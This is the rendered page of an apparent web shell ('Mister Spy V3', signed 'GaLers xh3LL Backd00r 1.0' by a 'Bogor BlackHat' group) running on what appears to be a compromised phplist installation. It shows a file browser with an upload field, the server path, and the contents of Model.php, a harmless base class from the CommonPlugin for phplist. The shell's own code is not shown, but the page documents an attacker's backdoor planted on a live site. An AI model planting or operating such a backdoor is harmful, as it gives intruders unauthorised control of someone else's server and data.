Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/Model.php

<?php
/**
 * CommonPlugin for phplist
 * 
 * This file is a part of CommonPlugin.
 *
 * @category  phplist
 * @package   CommonPlugin
 * @author    Duncan Cameron
 * @copyright 2011-2012 Duncan Cameron
 * @license   http://www.gnu.org/licenses/gpl.html GNU General Public License, Version 3
 */

/**
 * This is a base class providing common functionality for all models
 * 
 */
abstract class CommonPlugin_Model
{
    /*
     *    Private variables
     */
    private $config;
    /*
     *    Protected variables
     */
    protected $properties = array();
    protected $persist = array();
    /*
     *    Protected methods
     */
    protected function __construct($configItem = null)
    {
        if ($configItem) {
            $admin = $_SESSION['logindetails']['adminname'];
            $item = "$configItem|$admin";
            $this->config = new CommonPlugin_Config($item);
            $properties = $this->config->get('properties');

            if (!is_null($properties)) {
                $this->properties = array_merge($this->properties, $properties);
            }
        }
    }
    /*
     *    Public methods
     */
    public function setProperties(array $new)
    {
        $dirty = false;

        foreach ($this->properties as $key => &$value) {
            if (isset($new[$key])) {
                $v = $new[$key];
                /*
                 * unselected check-boxes come as zero values, remove and re-index array
                 */
                if (is_array($v)) {
                    $value = array_values(array_filter($v));
                } else {
                    $value = $v;
                }
                $dirty = isset($this->persist[$key]);
            }
        }
        unset($value);

        if ($dirty) {
            $p = array_intersect_key($this->properties, $this->persist);
            $this->config->set('properties', $p);
        }
    }

    public function getProperties()
    {
        return $this->properties;
    }

    public function __get($name)
    {
        return $this->properties[$name];
    }

    public function __set($name, $value)
    {
        $this->properties[$name] = $value;
    }
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat